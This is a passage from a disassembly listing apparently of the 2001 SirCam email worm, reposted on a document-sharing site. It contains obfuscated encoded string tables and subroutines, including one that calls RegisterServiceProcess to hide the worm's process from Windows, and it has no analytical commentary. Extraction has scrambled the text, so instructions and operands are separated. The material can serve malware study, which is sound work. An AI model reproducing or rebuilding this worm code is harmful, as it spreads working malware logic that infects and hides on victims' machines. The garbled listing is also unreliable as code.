0FFFFFFFFh, 3 sircam.asm dword_41A188 dword_41A194 Fri Aug 10 12:42:44 2001 681 dd 354446h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+2E4\030o dd 31h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+2FC\030o ; sub_4190CC+C63\030o ... dword_41A1A0 dd 30h, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+30B\030o ; sub_4190CC+E20\030o dword_41A1AC dd 364446h, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+323\030o dword_41A1B8 dd 787A4Fh, 0FFFFFFFFh, 11h ; DATA XREF: sub_4190CC+3FF\030o aDvx8xedz5Kmvi7 db ’‘\204\202x8x\205\204\2075{\212\214v\2117W’,0 ; DATA XREF: sub_4190CC+ 420\030o align 4 dd 0FFFFFFFFh, 1Ah aOnt@cgmpfPtrmu db ’o\215\222@\227\203\214\217\224>\217\222\220\214\223\217M>\206\222\202 \201\210\201\224L’,0 ; DATA XREF: sub_4190CC+42F\030o align 4 dd 0FFFFFFFFh, 37h aTaKqiamApGApbg db ’\222 \ª\237© ¬^ ¯±£[\235¯¡£¥³-[¬\236°\234\®³ \ª£[ ¢±[°²^«±«²ª\¡£[²¦±¯ \235’,0 ; DATA XREF: sub_4190CC+441\030o dd 0FFFFFFFFh, 33h dword_41A244 dd 9EA8AA7Fh, 0A658A6ACh, 0AEA8579Fh, 0AC999B9Fh, 0AEB1985Ah ; DATA XREF: sub_4190CC+464\030o dd 59AA989Eh, 59A6A69Dh, 9A58A39Fh, 0A2A09AACh, 0AA58A6B0h dd 0AD589CAFh, 9AA5579Fh, 0A79BA8h, 0FFFFFFFFh, 29h aUaufvNgxmxdgbu db ’u \236\224¢\234N£\225M\225¤£¡\223O\225 ¢\224P\216 \222\230\226¤\236P \236£\224P¡\223O\235\216\234\223\237’,0 ; DATA XREF: sub_4190CC+487\030o align 4 dd 0FFFFFFFFh, 34h aAlnqAmzadyinib db ’\200«-\237[\235¬Z ¤Y\233-\233¡£±§Y\235ª¦Y¦\234X¢¨¡§«§\234\233¢-©Xª¯ X ¦\237[¨\236\236¤«-\237’,0 ; DATA XREF: sub_4190CC+4AA\030o align 4 dd 0FFFFFFFFh, 10h a_66_gm6xjz6rgk db ’_}66_\203\2146x\206z6\220\203\212U’,0 ; DATA XREF: sub_4190CC+4CF\030 o align 4 dd 0FFFFFFFFh, 15h dword_41A310 dd 3B7F7E6Fh, 3B8F8895h, 808E7A88h, 6F3A478Eh, 86887A84h ; DATA XREF: sub_4190CC+4DE\030o dd 8Fh, 0FFFFFFFFh, 31h aBuiJsvZkvlauiw db ’\201U©\234¦\231V°§ªV« \236©W\236\236¢\234X\236¤W§§\232\234ªUª¦X\235 \227-\235U¯¦-§V\230\234«\237\232\235’,0 ; DATA XREF: sub_4190CC+4F0\030o align 4 dd 0FFFFFFFFh, 31h aBuujiVZkvSgvqa db ’\201U\236¦¨\232V°§ªV\232\231£V\237\235¡¦W¥\232V®¡©\236W¬\235\237ªX \233\237£\235Uª\237\231©V\200X¨\233¥\234’,0 ; DATA XREF: sub_4190CC+513\030o align 4 dd 0FFFFFFFFh, 29h aYmcuatniqvniss db ’yM\226\236 \222N¨\237¢N\233\231\230\223O¤\225\223O\226\226\232\224P¡ \226\220¤MwO£\222\234\223\237M§\236¥’,0 ; DATA XREF: sub_4190CC+536\030o align 4 dd 0FFFFFFFFh, 36h aSvdpGoVaGgzbDE db ’\221¢¤¯]£®\±¢ \££§¡]±¤°¥Z¯¤¢Z¤ª£©-©\236®¤««Z¯¤\236®[µ¬¯[\235°¥[¢¬¬’,0 ; DATA XREF: sub_4190CC+559\030o align 4 dd 0FFFFFFFFh, 3 dword_41A41C dd 6C6A7Dh, 0FFFFFFFFh, 4 ; DATA XREF: sub_4190CC+5A5\030o dword_41A428 dd 3041465Ch, 0, 0FFFFFFFFh, 8 ; DATA XREF: sub_4190CC+5BC\030o ; sub_4190CC+855\030o dword_41A438 dd 72707F6Bh, 7A79703Dh, 0, 0FFFFFFFFh, 4 ; DATA XREF: sub_4190CC+5F6\030 o aFb1b_0 db ’FB1B’,0 ; DATA XREF: sub_4190CC+634\030o align 4 dd 0FFFFFFFFh, 1 dword_41A45C dd 32h, 0FFFFFFFFh, 4 ; DATA XREF: sub_4190CC+64E\030o aFc43 db ’FC43’,0 ; DATA XREF: sub_4190CC+653\030o align 4 sircam.asm Fri Aug 10 12:42:44 2001 682 dd 0FFFFFFFFh, 3 dd 344346h, 0FFFFFFFFh, 4 ; DATA XREF: sub_4190CC+66F\030o db ’FD11’,0 ; DATA XREF: sub_4190CC+6A8\030o ; sub_4190CC+D75\030o align 4 dd 0FFFFFFFFh, 3 dword_41A494 dd 6E707Ah, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+6DD\030o dword_41A4A0 dd 737576h, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+6ED\030o dword_41A4AC dd 7C686Ch, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+6FD\030o dword_41A4B8 dd 75766Dh, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+70D\030o dword_41A4C4 dd 77h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+735\030o ; sub_4190CC+745\030o ... dword_41A4D0 dd 79h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+765\030o dword_41A4DC dd 68h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+775\030o dword_41A4E8 dd 69h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+785\030o dword_41A4F4 dd 74h, 0FFFFFFFFh, 4 ; DATA XREF: sub_4190CC+795\030o aFc42 db ’FC42’,0 ; DATA XREF: sub_4190CC+7B4\030o ; sub_4190CC+E5B\030o align 4 dd 0FFFFFFFFh, 5 aFc421 db ’FC421’,0 ; DATA XREF: sub_4190CC+7F4\030o ; sub_4190CC+E04\030o align 4 dd 0FFFFFFFFh, 2 dword_41A520 dd 697Ch, 0FFFFFFFFh, 4 ; DATA XREF: sub_4190CC+826\030o a9luv_1 db ’9luv’,0 ; DATA XREF: sub_4190CC+8E6\030o align 4 dd 0FFFFFFFFh, 1 dword_41A53C dd 37h, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+947\030o dword_41A548 dd 334446h, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+94C\030o ; sub_4190CC+C94\030o ... dword_41A554 dd 6D7F6Fh, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+9FB\030o dword_41A560 dd 2Eh, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+A0A\030o ; sub_4190CC+B35\030o dword_41A56C dd 22h, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+AE0\030o dword_41A578 dd 3C2022h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+AE8\030o dword_41A584 dd 3Eh, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+AF0\030o dword_41A590 dd 20h, 0FFFFFFFFh, 13h ; DATA XREF: sub_4190CC+B75\030o ; sub_4190CC+B8D\030o aIlkimjdeiwMzxl db ’\211\213\212\210\214\206\204\205\211W}\214\207x\213G}\206\205’,0 ; DA TA XREF: sub_4190CC+C1F\030o dd 0FFFFFFFFh, 1 dword_41A5B8 dd 38h, 0FFFFFFFFh, 3 ; DATA XREF: sub_4190CC+C8F\030o dword_41A5C4 dd 384346h, 0FFFFFFFFh, 1 ; DATA XREF: sub_4190CC+CE5\030o ; sub_4190CC+D37\030o dword_41A5D0 dd 39h, 0FFFFFFFFh, 4 ; DATA XREF: sub_4190CC+D54\030o aFd10 db ’FD10’,0 ; DATA XREF: sub_4190CC+DC6\030o align 4 dword_41A478 aFd11 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_41A5E4 proc near var_1C var_18 var_14 var_10 var_C var_8 var_4 = = = = = = = byte ptr -1Ch dword ptr -18h dword ptr -14h byte ptr -10h dword ptr -0Ch dword ptr -8 dword ptr -4 push mov xor push push push push ebp ebp, esp ecx, ecx ecx ecx ecx ecx ; CODE XREF: start+AB2\031p sircam.asm Fri Aug 10 12:42:44 2001 683 push push push xor push push push mov push push lea push xor mov mov call mov lea call mov cmp jnz lea xor mov call mov mov call push push lea push lea xor mov y\213\207\213\217" call mov mov mov call ecx ecx ecx eax, eax ebp offset loc_41A6FA dword ptr fs:[eax] fs:[eax], esp 0 1 eax, [ebp+var_8] eax ecx, ecx edx, offset dword_41A710 eax, ds:dword_41EEFC sub_415EAC eax, [ebp+var_8] edx, [ebp+var_4] sub_402978 [ebp+var_4], eax ds:dword_41EF10, 1 short loc_41A674 ecx, [ebp+var_C] edx, edx eax, offset dword_41A71C sub_415FAC edx, [ebp+var_C] eax, offset dword_41EEF4 sub_40351C 1 0 eax, [ebp+var_10] eax ecx, [ebp+var_14] edx, edx eax, offset aEojeex9zakYlzl ; "]\205\216\206\205\205x|9Z\200\212˜ loc_41A674: ; CODE XREF: sub_41A5E4+48\030j [ebp+var_4], 0 short loc_41A6C0 ds:dword_41EF10, 2 short loc_41A6C0 0 1 eax, [ebp+var_18] eax ecx, ecx edx, offset aFc43_0 ; "FC43" eax, ds:dword_41EEFC sub_415EAC eax, [ebp+var_18] sub_417F24 1 1 eax, [ebp+var_1C] eax ecx, offset dword_41A778 edx, offset dword_41A710 eax, ds:dword_41EEFC sub_415EAC cmp jg cmp jl push push lea push xor mov mov call mov call push push lea push mov mov mov call sub_415FAC edx, [ebp+var_14] ecx, ds:dword_41EEE4 eax, ds:dword_41EEF4 sub_415EAC loc_41A6C0: ; CODE XREF: sub_41A5E4+94\030j ; sub_41A5E4+9D\030j cmp [ebp+var_4], 1 sircam.asm Fri Aug 10 12:42:44 2001 jg cmp jl mov call test jz call short loc_41A6DF ds:dword_41EF10, 2 short loc_41A6DF al, 1 sub_418EBC al, al short loc_41A6DF sub_4190CC loc_41A6DF: ; CODE XREF: sub_41A5E4+E0\030j ; sub_41A5E4+E9\030j ... xor pop pop pop mov push loc_41A6EC: sub_41A5E4 684 eax, eax edx ecx ecx fs:[eax], edx offset loc_41A701 ; CODE XREF: CODE:0041A6FF\031j lea eax, [ebp+var_1C] mov edx, 6 call sub_4034EC retn endp ; sp = -54h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41A6FA: ; DATA XREF: sub_41A5E4+F\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41A6EC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41A701: ; DATA XREF: sub_41A5E4+103\030o mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 3 dword_41A710 dd 344346h, 0FFFFFFFFh, 25h ; DATA XREF: sub_41A5E4+24\030o ; sub_41A5E4+CD\030o dword_41A71C dd 9F90987Fh, 909C8AA3h, 8E937688h, 9A9D989Eh, 74869D92h ; DATA XREF: sub_41A5E4+4F\030o dd 9D8F9D9Ah, 4B9E8E9Ah, 979AA171h, 9D8F9B9Bh, 88h, 0FFFFFFFFh dd 12h aEojeex9zakYlzl db ’]\205\216\206\205\205x|9Z\200\212˜y\213\207\213\217’,0 ; DATA XREF: s ub_41A5E4+73\030o align 4 dd 0FFFFFFFFh, 4 aFc43_0 db ’FC43’,0 ; DATA XREF: sub_41A5E4+A9\030o align 4 dd 0FFFFFFFFh, 1 dword_41A778 dd 31h ; DATA XREF: sub_41A5E4+C8\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_41A77C proc near var_4 = dword ptr -4 push mov push push push mov mov ebp ebp, esp 0 ebx esi esi, edx ebx, eax ; CODE XREF: start+521\031p start+538\031p ... sircam.asm Fri Aug 10 12:42:44 2001 xor push push push mov lea call test jle eax, eax ebp offset loc_41A7D1 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] sub_4034C8 ebx, ebx short loc_41A7B1 lea mov call dec jnz ; CODE XREF: sub_41A77C+33\031j eax, [ebp+var_4] edx, offset dword_41A7E8 sub_40372C ebx short loc_41A7A1 mov mov call xor pop pop pop mov push ; CODE XREF: sub_41A77C+23\030j eax, esi edx, [ebp+var_4] sub_40351C eax, eax edx ecx ecx fs:[eax], edx offset loc_41A7D8 loc_41A7A1: loc_41A7B1: loc_41A7C8: sub_41A77C 685 ; CODE XREF: CODE:0041A7D6\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -14h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41A7D1: ; DATA XREF: sub_41A77C+E\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41A7C8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41A7D8: ; DATA XREF: sub_41A77C+47\030o pop esi pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_41A7E8 dd 20h ; DATA XREF: sub_41A77C+28\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_41A7EC loc_41A80E: proc near ; CODE XREF: start+58\031p push ecx mov ecx, esp mov edx, offset aRegisterservic ; "RegisterServiceProcess" mov eax, offset dword_41A838 call sub_418E24 cmp al, 1 jnz short loc_41A80E push 1 call j_GetCurrentProcessId push eax call dword ptr [esp+8] ; CODE XREF: sub_41A7EC+14\030j sircam.asm sub_41A7EC Fri Aug 10 12:42:44 2001 686 pop edx retn endp ; sp = -8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 16h aRegisterservic db ’RegisterServiceProcess’,0 ; DATA XREF: sub_41A7EC+3\030o align 4 dd 0FFFFFFFFh, 0Ch dword_41A838 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 0 ; DATA XREF: sub_41A7EC+8\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_41A848 proc near ; DATA XREF: CODE:0041A9A0\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_41A8CB push dword ptr fs:[eax] mov fs:[eax], esp mov eax, offset dword_41EEFC call sub_4034C8 mov eax, offset dword_41EEF8 call sub_4034C8 mov eax, offset dword_41EEF4 call sub_4034C8 mov eax, offset dword_41EEF0 call sub_4034C8 mov eax, offset dword_41EEEC call sub_4034C8 mov eax, offset dword_41EEE8 call sub_4034C8 mov eax, offset dword_41EEE4 call sub_4034C8 mov eax, offset dword_41EEE0 call sub_4034C8 mov eax, offset dword_41EEDC call sub_4034C8 mov eax, offset dword_41EED8 call sub_4034C8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_41A8D2 locret_41A8CA: ; CODE XREF: sub_41A848+88\031j ret
© Copyright 2026 Paperzz